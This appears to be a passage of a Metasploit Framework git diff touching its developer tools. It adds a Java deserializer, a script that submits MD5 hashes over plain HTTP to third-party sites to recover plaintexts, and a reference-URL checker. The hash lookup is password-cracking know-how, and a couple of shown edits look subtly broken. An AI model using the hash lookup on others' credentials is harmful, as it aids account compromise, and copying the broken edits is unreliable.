msftidy_output.empty? msftidy_output.each_line do |line| - valid = false + valid = false unless line['INFO'] puts line end end - puts "-" * 52 + puts "-" * 72 end unless valid - puts "msftidy.rb objected, aborting commit" - puts "To bypass this check use: git commit --no-verify" - puts "-" * 52 - exit(1) + if base_caller == :post_merge + puts merge_error_message + exit(0x10) + else + puts "[!] msftidy.rb objected, aborting commit" + puts "[!] To bypass this check use: git commit --no-verify" + puts "-" * 72 + exit(0x01) + end + end diff --git a/tools/dev/resplat.rb b/tools/dev/resplat.rb index 01bf8c3f3d..8f3ade8c9c 100755 --- a/tools/dev/resplat.rb +++ b/tools/dev/resplat.rb @@ -22,7 +22,7 @@ end def resplat(line) if line =~ /This file is part of the Metasploit Framework/ - return "# This module requires Metasploit: http//metasploit.com/download\n" +# This module requires Metasploit: http://metasploit.com/download elsif line =~ /# redistribution and commercial restrictions\./ return "# Current source: https://github.com/rapid7/metasploit-framework\n" else diff --git a/tools/exe2vba.rb b/tools/exe2vba.rb index e40912dfc6..28f23c3acf 100755 --- a/tools/exe2vba.rb +++ b/tools/exe2vba.rb @@ -14,7 +14,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/exe2vbs.rb b/tools/exe2vbs.rb index b4b54df1bb..bf7918a9e5 100755 --- a/tools/exe2vbs.rb +++ b/tools/exe2vbs.rb @@ -13,7 +13,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/find_badchars.rb b/tools/find_badchars.rb index 545c5fa08c..c26f3127b7 100755 --- a/tools/find_badchars.rb +++ b/tools/find_badchars.rb @@ -14,7 +14,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/halflm_second.rb b/tools/halflm_second.rb index 3931589373..cc3a83bd0e 100755 --- a/tools/halflm_second.rb +++ b/tools/halflm_second.rb @@ -16,7 +16,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/hmac_sha1_crack.rb b/tools/hmac_sha1_crack.rb index 55032893e2..87ef46d20a 100755 --- a/tools/hmac_sha1_crack.rb +++ b/tools/hmac_sha1_crack.rb @@ -16,7 +16,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/java_deserializer.rb b/tools/java_deserializer.rb new file mode 100755 index 0000000000..b78d2a3cf3 --- /dev/null +++ b/tools/java_deserializer.rb @@ -0,0 +1,83 @@ +#!/usr/bin/env ruby + +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +msf_base = __FILE__ +while File.symlink?(msf_base) + msf_base = File.expand_path(File.readlink(msf_base), File.dirname(msf_base)) +end + +$:.unshift(File.expand_path(File.join(File.dirname(msf_base), '..', 'lib'))) +require 'rex/java/serialization' +require 'pp' + +# This class allows to deserialize Java Streams from +# files +class JavaDeserializer + + # @!attribute file + # @return [String] the file's path to deserialize + attr_accessor :file + + # @param file [String] the file's path to deserialize + def initialize(file = nil) + self.file = file + end + + # Deserializes a Java stream from a file and prints the result. + # + # @return [Rex::Java::Serialization::Model::Stream] if succeeds + # @return [nil] if error + def run + if file.nil? + print_error("file path with serialized java stream required") + return + end + + print_status("Deserializing...") + print_line + + begin + f = File.new(file, 'rb') + stream = Rex::Java::Serialization::Model::Stream.decode(f) + f.close + rescue ::Exception => e + print_exception(e) + return + end + + puts stream + end + + private + + # @param [String] string to print as status + def print_status(msg='') + $stdout.puts "[*] #{msg}" + end + + # @param [String] string to print as error + def print_error(msg='') + $stdout.puts "[-] #{msg}" + end + + # @param [Exception] exception to print + def print_exception(e) + print_error(e.message) + e.backtrace.each do |line| + $stdout.puts("\t#{line}") + end + end + + def print_line + $stdout.puts("\n") + end +end + +if __FILE__ == $PROGRAM_NAME + deserializer = JavaDeserializer.new(ARGV[0]) + deserializer.run +end diff --git a/tools/list_interfaces.rb b/tools/list_interfaces.rb index 174b42d73d..d792bf2e9c 100755 --- a/tools/list_interfaces.rb +++ b/tools/list_interfaces.rb @@ -15,7 +15,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/lm2ntcrack.rb b/tools/lm2ntcrack.rb index 7e24904feb..28a3e6f701 100755 --- a/tools/lm2ntcrack.rb +++ b/tools/lm2ntcrack.rb @@ -14,7 +14,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/md5_lookup.rb b/tools/md5_lookup.rb new file mode 100755 index 0000000000..8c1203698c --- /dev/null +++ b/tools/md5_lookup.rb @@ -0,0 +1,489 @@ +#!/usr/bin/env ruby + +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +### +# +# This script will look up a collection of MD5 hashes (from a file) against the following databases +# via md5cracker.org: +# authsecu, i337.net, md5.my-addr.com, md5.net, md5crack, md5cracker.org, md5decryption.com, +# md5online.net, md5pass, netmd5crack, tmto. +# This msf tool script was originally ported from: +# https://github.com/hasherezade/metasploit_modules/blob/master/md5_lookup.rb +# +# To-do: +# Maybe as a msf plugin one day and grab hashes directly from the workspace. +# +# Authors: +# * hasherezade (http://hasherezade.net, @hasherezade) +# * sinn3r (ported the module as a standalone msf tool) +# +### + +# +# Load our MSF API +# + +msfbase = __FILE__ +while File.symlink?(msfbase) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) +end +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +require 'msfenv' +require 'rex' +require 'msf/core' +require 'optparse' + + +# +# Basic prints we can't live without +# + +# Prints with [*] that represents the message is a status +# +# @param msg [String] The message to print +# @return [void] +def print_status(msg='') + $stdout.puts "[*] #{msg}" +end + +# Prints with [-] that represents the message is an error +# +# @param msg [String] The message to print +# @return [void] +def print_error(msg='') + $stdout.puts "[-] #{msg}" +end + +module Md5LookupUtility + + # This class manages the disclaimer + class Disclaimer + + # @!attribute config_file + # @return [String] The config file path + attr_accessor :config_file + + # @!attribute group_name + # @return [String] The name of the tool + attr_accessor :group_name + + + def initialize + self.config_file = Msf::Config.config_file + self.group_name = 'MD5Lookup' + end + + # Prompts a disclaimer. The user will not be able to get out unless they acknowledge. + # + # @return [TrueClass] true if acknowledged. + def ack + print_status("WARNING: This tool will look up your MD5 hashes by submitting them") + print_status("in the clear (HTTP) to third party websites. This can expose") + print_status("sensitive data to unknown and untrusted entities.") + + while true + $stdout.print "[*] Enter 'Y' to acknowledge: " + if $stdin.gets =~ /^y|yes$/i + return true + end + end + end + + + # Saves the waiver so the warning won't show again after ack + # + # @return [void] + def save_waiver + save_setting('waiver', true) + end + + + # Returns true if we don't have to show the warning again + # + # @return [Boolean] + def has_waiver? + load_setting('waiver') == 'true' ? true : false + end + + + private + + # Saves a setting to Metasploit's config file + # + # @param key_name [String] The name of the setting + # @param value [String] The value of the setting + # @return [void] + def save_setting(key_name, value) + ini = Rex::Parser::Ini.new(self.config_file) + ini.add_group(self.group_name) if ini[self.group_name].nil? + ini[self.group_name][key_name] = value + ini.to_file(self.config_file) + end + + + # Returns the value of a specific setting + # + # @param key_name [String] The name of the setting + # @return [String] + def load_setting(key_name) + ini = Rex::Parser::Ini.new(self.config_file) + group = ini[self.group_name] + return '' if group.nil? + group[key_name].to_s + end + + end + + # This class is basically an auxiliary module without relying on msfconsole + class Md5Lookup < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + # @!attribute rhost + # @return [String] Should be md5cracker.org + attr_accessor :rhost + + # @!attribute rport + # @return [Fixnum] The port number to md5cracker.org + attr_accessor :rport + + # @!attribute target_uri + # @return [String] The URI (API) + attr_accessor :target_uri + + # @!attribute ssl + # @return [FalseClass] False because doesn't look like md5cracker.org supports HTTPS + attr_accessor :ssl + + def initialize(opts={}) + # The user should not be able to modify these settings, otherwise + # the we can't guarantee results. + self.rhost = 'md5cracker.org' + self.rport = 80 + self.target_uri = '/api/api.cracker.php' + self.ssl = false + + super( + 'DefaultOptions' => + { + 'SSL' => self.ssl, + 'RHOST' => self.rhost, + 'RPORT' => self.rport + } + ) + end + + + # Returns the found cracked MD5 hash + # + # @param md5_hash [String] The MD5 hash to lookup + # @param db [String] The specific database to check against + # @return [String] Found cracked MD5 hash + def lookup(md5_hash, db) + res = send_request_cgi({ + 'uri' => self.target_uri, + 'method' => 'GET', + 'vars_get' => {'database' => db, 'hash' => md5_hash} + }) + get_json_result(res) + end + + + private + + + # Parses the cracked result from a JSON input + # @param res [Rex::Proto::Http::Response] The Rex HTTP response + # @return [String] Found cracked MD5 hash + def get_json_result(res) + result = '' + + # Hmm, no proper response :-( + return result unless res && res.code == 200 + + begin + json = JSON.parse(res.body) + result = json['result'] if json['status'] + rescue JSON::ParserError + # No json? + end + + result + end + + end + + + # This class parses the user-supplied options (inputs) + class OptsConsole + + # The databases supported by md5cracker.org + # The hash keys (symbols) are used as choices for the user, the hash values are the original + # database values that md5cracker.org will recognize + DATABASES = + { + :all => nil, # This is shifted before being passed to Md5Lookup + :authsecu => 'authsecu', + :i337 => 'i337.net', + :md5_my_addr => 'md5.my-addr.com', + :md5_net => 'md5.net', + :md5crack => 'md5crack', + :md5cracker => 'md5cracker.org', + :md5decryption => 'md5decryption.com', + :md5online => 'md5online.net', + :md5pass => 'md5pass', + :netmd5crack => 'netmd5crack', + :tmto => 'tmto' + } + + # The default file path to save the results to + DEFAULT_OUTFILE = 'md5_results.txt' + + # Returns the normalized user inputs + # + # @param args [Array] This should be Ruby's ARGV + # @raise [OptionParser::MissingArgument] Missing arguments + # @return [Hash] The normalized options + def self.parse(args) + parser, options = get_parsed_options + + # Set the optional datation argument (--database) + unless options[:databases] + options[:databases] = get_database_names + end + + # Set the optional output argument (--out) + unless options[:outfile] + options[:outfile] = DEFAULT_OUTFILE + end + + # Now let's parse it + # This may raise OptionParser::InvalidOption + parser.parse!(args) + + # Final checks + if options.empty? + raise OptionParser::MissingArgument, 'No options set, try -h for usage' + elsif options[:input].blank? + raise OptionParser::MissingArgument, '-i is a required argument' + end + + options + end + + + private + + + # Returns the parsed options from ARGV + # + # raise [OptionParser::InvalidOption] Invalid option found + # @return [OptionParser, Hash] The OptionParser object and an hash containg the options + def self.get_parsed_options + options = {} + parser = OptionParser.new do |opt| + opt.banner = "Usage: #{__FILE__} [options]" + opt.separator '' + opt.separator 'Specific options:' + + opt.on('-i', '--input <file>', + 'The file that contains all the MD5 hashes (one line per hash)') do |v| + if v && !::File.exists?(v) + raise OptionParser::InvalidOption, "Invalid input file: #{v}" + end + + options[:input] = v + end + + opt.on('-d','--databases <names>', + "(Optional) Select databases: #{get_database_symbols * ", "} (Default=all)") do |v| + options[:databases] = extract_db_names(v) + end + + opt.on('-o', '--out <filepath>', + "(Optional) Save the results to a file (Default=#{DEFAULT_OUTFILE})") do |v| + options[:outfile] = v + end + + opt.on_tail('-h', '--help', 'Show this message') do + $stdout.puts opt + exit + end + end + return parser, options + end + + + # Returns the actual database names based on what the user wants + # + # @param list [String] A list of user-supplied database names + # @return [Array<String>] All the matched database names + def self.extract_db_names(list) + new_db_list = [] + + list_copy = list.split(',') + + if list_copy.include?('all') + return get_database_names + end + + list_copy.each do |item| + item = item.strip.to_sym + new_db_list << DATABASES[item] if DATABASES[item] + end + + new_db_list + end + + + # Returns a list of all of the supported database symbols + # + # @return [Array<Symbol>] Database symbols + def self.get_database_symbols + DATABASES.keys + end + + # Returns a list of all the original database values recognized by md5cracker.org + # + # @return [Array<String>] Original database values + def self.get_database_names + new_db_list = DATABASES.values + new_db_list.shift #Get rid of the 'all' option + return new_db_list + end + end + + + # This class decides how this process works + class Driver + + def initialize + begin + @opts = OptsConsole.parse(ARGV) + rescue OptionParser::InvalidOption, OptionParser::MissingArgument => e + print_error("#{e.message} (please see -h)") + exit + end + + @output_handle = nil + begin + @output_handle = ::File.new(@opts[:outfile], 'wb') + rescue + # Not end of the world, but if this happens we won't be able to save the results. + # The user will just have to copy and paste from the screen. + print_error("Unable to create file handle, results will not be saved to #{@opts[:output]}") + end + end + + + # Main function + # + # @return [void] + def run + input = @opts[:input] + dbs = @opts[:databases] + + disclamer = Md5LookupUtility::Disclaimer.new + + unless disclamer.has_waiver? + disclamer.ack + disclamer.save_waiver + end + + get_hash_results(input, dbs) do |result| + original_hash = result[:hash] + cracked_hash = result[:cracked_hash] + credit_db = result[:credit] + print_status("Found: #{original_hash} = #{cracked_hash} (from #{credit_db})") + save_result(result) if @output_handle + end + end + + + # Cleans up the output file handler if exists + # + # @return [void] + def cleanup + @output_handle.close if @output_handle + end + + + private + + + # Saves the MD5 result to file + # + # @param result [Hash] The result that contains the MD5 information + # @option result :hash [String] The original MD5 hash + # @option result :cracked_hash [String] The cracked MD5 hash + # @return [void] + def save_result(result) + @output_handle.puts "#{result[:hash]} = #{result[:cracked_hash]}" + end + + # Returns the hash results by actually invoking Md5Lookup + # + # @param input [String] The path of the input file (MD5 hashes) + # @yield [result] Gives a hash as the found result + # @return [void] + def get_hash_results(input, dbs) + search_engine = Md5LookupUtility::Md5Lookup.new + extract_hashes(input) do |hash| + dbs.each do |db| + cracked_hash = search_engine.lookup(hash, db) + unless cracked_hash.empty? + result = { :hash => hash, :cracked_hash => cracked_hash, :credit => db } + yield result + end + + # Awright, we already found one cracked, we don't need to keep looking, + # Let's move on to the next hash! + break unless cracked_hash.empty? + end + end + end + + # Extracts all the MD5 hashes one by one + # + # @param input_file [String] The path of the input file (MD5 hashes) + # @yield [hash] The original MD5 hash + # @return [void] + def extract_hashes(input_file) + ::File.open(input_file, 'rb') do |f| + f.each_line do |hash| + next unless is_md5_format?(hash) + yield hash.strip # Make sure no newlines + end + end + end + + # Checks if the hash format is MD5 or not + # + # @param md5_hash [String] The MD5 hash (hex) + # @return [TrueClass/FlaseClass] True if the format is valid, otherwise false + def is_md5_format?(md5_hash) + (md5_hash =~ /^[a-f0-9]{32}$/i) ? true : false + end + end + +end + + +# +# main +# +if __FILE__ == $PROGRAM_NAME + driver = Md5LookupUtility::Driver.new + begin + driver.run + rescue Interrupt + $stdout.puts + $stdout.puts "Good bye" + ensure + driver.cleanup # Properly close resources + end +end diff --git a/tools/metasm_shell.rb b/tools/metasm_shell.rb index c2610105b3..4ef1030353 100755 --- a/tools/metasm_shell.rb +++ b/tools/metasm_shell.rb @@ -21,7 +21,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/missing-payload-tests.rb b/tools/missing-payload-tests.rb new file mode 100755 index 0000000000..5d46ad398b --- /dev/null +++ b/tools/missing-payload-tests.rb @@ -0,0 +1,85 @@ +#!/usr/bin/env ruby + +# Reads untest payload modules from log/untested-payloads.log (which can be produced by running `rake spec`) and prints +# the statements that need to be added to `spec/modules/payloads_spec.rb`. **Note: this script depends on the payload +# being loadable, so if module is not loadable, then the developer must manually determine which single needs to be tested +# or which combinations of stages and stagers need to be tested.** + +msfbase = __FILE__ +while File.symlink?(msfbase) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) +end + +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +require 'msfenv' +require 'msf/core' +require 'msf/base' + +framework = Msf::Simple::Framework.create() + +options_set_by_ancestor_reference_name = Hash.new { |hash, ancestor_reference_name| + hash[ancestor_reference_name] = Set.new +} + +framework.payloads.each { |reference_name, payload_class| + module_ancestors = payload_class.ancestors.select { |ancestor| + # need to use try because name may be nil for anonymous Modules + ancestor.name.try(:start_with?, 'Msf::Modules::') + } + ancestor_reference_names = module_ancestors.map { |module_ancestor| + unpacked_module_ancestor_full_name = module_ancestor.name.sub(/^Msf::Modules::Mod/, '') + .sub(/::Metasploit\d+/, '') + module_ancestor_full_name = [unpacked_module_ancestor_full_name].pack("H*") + module_ancestor_full_name.sub(%r{^payload/}, '') + } + + options = { + reference_name: reference_name, + ancestor_reference_names: ancestor_reference_names + } + + # record for both ancestor_reference_names as which is untested is not known here + ancestor_reference_names.each do |ancestor_reference_name| + options_set_by_ancestor_reference_name[ancestor_reference_name].add options + end +} + +tested_options = Set.new + +$stderr.puts "Add the following context to `spec/modules/payloads_spec.rb` by inserting them in lexical order between the pre-existing contexts:" + +File.open('log/untested-payloads.log') { |f| + f.each_line do |line| + ancestor_reference_name = line.strip + + options_set = options_set_by_ancestor_reference_name[ancestor_reference_name] + + options_set.each do |options| + # don't print a needed test twice + unless tested_options.include? options + reference_name = options[:reference_name] + + $stderr.puts + $stderr.puts " context '#{reference_name}' do\n" \ + " it_should_behave_like 'payload can be instantiated',\n" \ + " ancestor_reference_names: [" + + ancestor_reference_names = options[:ancestor_reference_names] + + if ancestor_reference_names.length == 1 + $stderr.puts " '#{ancestor_reference_names[0]}'" + else + $stderr.puts " '#{ancestor_reference_names[1]}'," + $stderr.puts " '#{ancestor_reference_names[0]}'" + end + + $stderr.puts " ],\n" \ + " modules_pathname: modules_pathname,\n" \ + " reference_name: '#{reference_name}'\n" \ + " end" + + tested_options.add options + end + end + end +} diff --git a/tools/module_author.rb b/tools/module_author.rb index 13de302149..8deefe6fcd 100755 --- a/tools/module_author.rb +++ b/tools/module_author.rb @@ -13,7 +13,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_changelog.rb b/tools/module_changelog.rb index 98e8ace0f0..fb2df57b85 100755 --- a/tools/module_changelog.rb +++ b/tools/module_changelog.rb @@ -13,7 +13,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_count.rb b/tools/module_count.rb index 1e81a32989..4a6740dd5c 100755 --- a/tools/module_count.rb +++ b/tools/module_count.rb @@ -8,7 +8,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_disclodate.rb b/tools/module_disclodate.rb index b6a0715a22..60f322a684 100755 --- a/tools/module_disclodate.rb +++ b/tools/module_disclodate.rb @@ -12,7 +12,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_license.rb b/tools/module_license.rb index 86011fda47..5ac9df31d9 100755 --- a/tools/module_license.rb +++ b/tools/module_license.rb @@ -13,7 +13,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_mixins.rb b/tools/module_mixins.rb index c9e8004177..80426f2db1 100755 --- a/tools/module_mixins.rb +++ b/tools/module_mixins.rb @@ -13,7 +13,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_payloads.rb b/tools/module_payloads.rb index 1f1c19a5d5..a801805a1d 100755 --- a/tools/module_payloads.rb +++ b/tools/module_payloads.rb @@ -13,7 +13,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_ports.rb b/tools/module_ports.rb index 39048f2b57..c3ec02f4eb 100755 --- a/tools/module_ports.rb +++ b/tools/module_ports.rb @@ -13,7 +13,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_rank.rb b/tools/module_rank.rb index 3c0c1357d2..1d199d8e0d 100755 --- a/tools/module_rank.rb +++ b/tools/module_rank.rb @@ -13,7 +13,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/module_reference.rb b/tools/module_reference.rb index 4f4d2c50ac..d57c91128f 100755 --- a/tools/module_reference.rb +++ b/tools/module_reference.rb @@ -1,11 +1,7 @@ #!/usr/bin/env ruby # -# $Id$ -# # This script lists each module with its references # -# $Revision$ -# msfbase = __FILE__ while File.symlink?(msfbase) @@ -13,7 +9,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] @@ -21,25 +16,52 @@ $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] require 'rex' require 'msf/ui' require 'msf/base' +require 'uri' -sort=0 -filter= 'All' +# See lib/msf/core/module/reference.rb +# We gsub '#{in_ctx_val}' with the actual value +def types + { + 'ALL' => '', + 'OSVDB' => 'http://www.osvdb.org/#{in_ctx_val}', + 'CVE' => 'http://cvedetails.com/cve/#{in_ctx_val}/', + 'CWE' => 'http://cwe.mitre.org/data/definitions/#{in_ctx_val}.html', + 'BID' => 'http://www.securityfocus.com/bid/#{in_ctx_val}', + 'MSB' => 'http://technet.microsoft.com/en-us/security/bulletin/#{in_ctx_val}', + 'EDB' => 'http://www.exploit-db.com/exploits/#{in_ctx_val}', + 'US-CERT-VU' => 'http://www.kb.cert.org/vuls/id/#{in_ctx_val}', + 'ZDI' => 'http://www.zerodayinitiative.com/advisories/ZDI-#{in_ctx_val}', + 'WPVDB' => 'https://wpvulndb.com/vulnerabilities/#{in_ctx_val}', + 'URL' => '#{in_ctx_val}' + } +end + +STATUS_ALIVE = 'Alive' +STATUS_DOWN = 'Down' +STATUS_UNSUPPORTED = 'Unsupported' + +sort = 0 +filter = 'All' filters = ['all','exploit','payload','post','nop','encoder','auxiliary'] -types = ['All','URL','CVE','OSVDB','BID','MSB','NSS','US-CERT-VU'] -type='All' -match= nil +type ='ALL' +match = nil +check = false +save = nil opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help menu." ], + "-c" => [ false, "Check reference status"], "-s" => [ false, "Sort by Reference instead of Module Type."], "-r" => [ false, "Reverse Sort"], - "-f" => [ true, "Filter based on Module Type [All,Exploit,Payload,Post,NOP,Encoder,Auxiliary] (Default = All)."], - "-t" => [ true, "Type of Reference to sort by [All,URL,CVE,OSVDB,BID,MSB,NSS,US-CERT-VU]"], - "-x" => [ true, "String or RegEx to try and match against the Reference Field"] - + "-f" => [ true, "Filter based on Module Type [All,Exploit,Payload,Post,NOP,Encoder,Auxiliary] (Default = ALL)."], + "-t" => [ true, "Type of Reference to sort by #{types.keys}"], + "-x" => [ true, "String or RegEx to try and match against the Reference Field"], + "-o" => [ true, "Save the results to a file"] ) +flags = [] + opts.parse(ARGV) { |opt, idx, val| case opt when "-h" @@ -47,11 +69,14 @@ opts.parse(ARGV) { |opt, idx, val| puts "==========================================================" puts opts.usage exit + when "-c" + flags << "URI Check: Yes" + check = true when "-s" - puts "Sorting by License" + flags << "Order: Sorting by License" sort = 1 when "-r" - puts "Reverse Sorting" + flags << "Order: Reverse Sorting" sort = 2 when "-f" unless filters.include?(val.downcase) @@ -59,26 +84,83 @@ opts.parse(ARGV) { |opt, idx, val| puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" exit end - puts "Module Filter: #{val}" + flags << "Module Filter: #{val}" filter = val when "-t" - unless types.include?(val) + val = (val || '').upcase + unless types.has_key(val) puts "Invalid Type Supplied: #{val}" - puts "Please use one of these: [All,URL,CVE,OSVDB,BID,MSB,NSS,US-CERT-VU]" + puts "Please use one of these: #{types.keys.inspect}" exit end - puts "Type: #{val}" type = val when "-x" - puts "Regex: #{val}" + flags << "Regex: #{val}" match = Regexp.new(val) + when "-o" + flags << "Output to file: Yes" + save = val end - } -puts "Type: #{type}" +flags << "Type: #{type}" -Indent = ' ' +puts flags * " | " + +def get_ipv4_addr(hostname) + Rex::Socket::getaddresses(hostname, false)[0] +end + +def is_url_alive?(uri) + #puts "URI: #{uri}" + + begin + uri = URI(uri) + rhost = get_ipv4_addr(uri.host) + rescue SocketError, URI::InvalidURIError => e + #puts "Return false 1: #{e.message}" + return false + end + + rport = uri.port || 80 + path = uri.path.blank? ? '/' : uri.path + vhost = rport == 80 ? uri.host : "#{uri.host}:#{rport}" + if uri.scheme == 'https' + cli = ::Rex::Proto::Http::Client.new(rhost, 443, {}, true, 'TLS1') + else + cli = ::Rex::Proto::Http::Client.new(rhost, rport) + end + + begin + cli.connect + req = cli.request_raw('uri'=>path, 'vhost'=>vhost) + res = cli.send_recv(req) + rescue Errno::ECONNRESET, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::UnsupportedProtocol, ::Timeout::Error, Errno::ETIMEDOUT => e + #puts "Return false 2: #{e.message}" + return false + ensure + cli.close + end + + if res.nil? || res.code == 404 || res.body =~ /<title>.*not found<\/title>/i + #puts "Return false 3: HTTP #{res.code}" + #puts req.to_s + return false + end + + true +end + +def save_results(path, results) + begin + File.open(path, 'wb') do |f| + f.write(results) + end + puts "Results saved to: #{path}" + rescue Exception => e + puts "Failed to save the file: #{e.message}" + end +end # Always disable the database (we never need it just to list module # information). @@ -92,21 +174,50 @@ end # Initialize the simplified framework instance. $framework = Msf::Simple::Framework.create(framework_opts) +if check + columns = [ 'Module', 'Status', 'Reference' ] +else + columns = [ 'Module', 'Reference' ] +end tbl = Rex::Ui::Text::Table.new( 'Header' => 'Module References', - 'Indent' => Indent.length, - 'Columns' => [ 'Module', 'Reference' ] + 'Indent' => 2, + 'Columns' => columns ) +bad_refs_count = 0 + $framework.modules.each { |name, mod| next if match and not name =~ match x = mod.new x.references.each do |r| - if type=='All' or type==r.ctx_id + ctx_id = r.ctx_id.upcase + if type == 'ALL' || type == ctx_id + + if check + if types.has_key?(ctx_id) + uri = types[r.ctx_id.upcase].gsub(/\#{in_ctx_val}/, r.ctx_val) + if is_url_alive?(uri) + status = STATUS_ALIVE + else + bad_refs_count += 1 + status = STATUS_DOWN + end + else + # The reference ID isn't supported so we don't know how to check this + bad_refs_count += 1 + status = STATUS_UNSUPPORTED + end + end + ref = "#{r.ctx_id}-#{r.ctx_val}" - tbl << [ x.fullname, ref ] + new_column = [] + new_column << x.fullname + new_column << status if check + new_column << ref + tbl << new_column end end } @@ -121,5 +232,9 @@ if sort == 2 tbl.rows.reverse end - +puts puts tbl.to_s +puts + +puts "Number of bad references found: #{bad_refs_count}" if check +save_results(save, tbl.to_s) if save diff --git a/tools/module_targets.rb b/tools/module_targets.rb index 90712c87bc..7876553798 100755 --- a/tools/module_targets.rb +++ b/tools/module_targets.rb @@ -13,7 +13,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/msf_irb_shell.rb b/tools/msf_irb_shell.rb index 46f9575d15..02ae39148a 100755 --- a/tools/msf_irb_shell.rb +++ b/tools/msf_irb_shell.rb @@ -10,7 +10,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/msftidy.rb b/tools/msftidy.rb index bc763fbaa9..74777c704a 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -4,14 +4,24 @@ # Check (recursively) for style compliance violations and other # tree 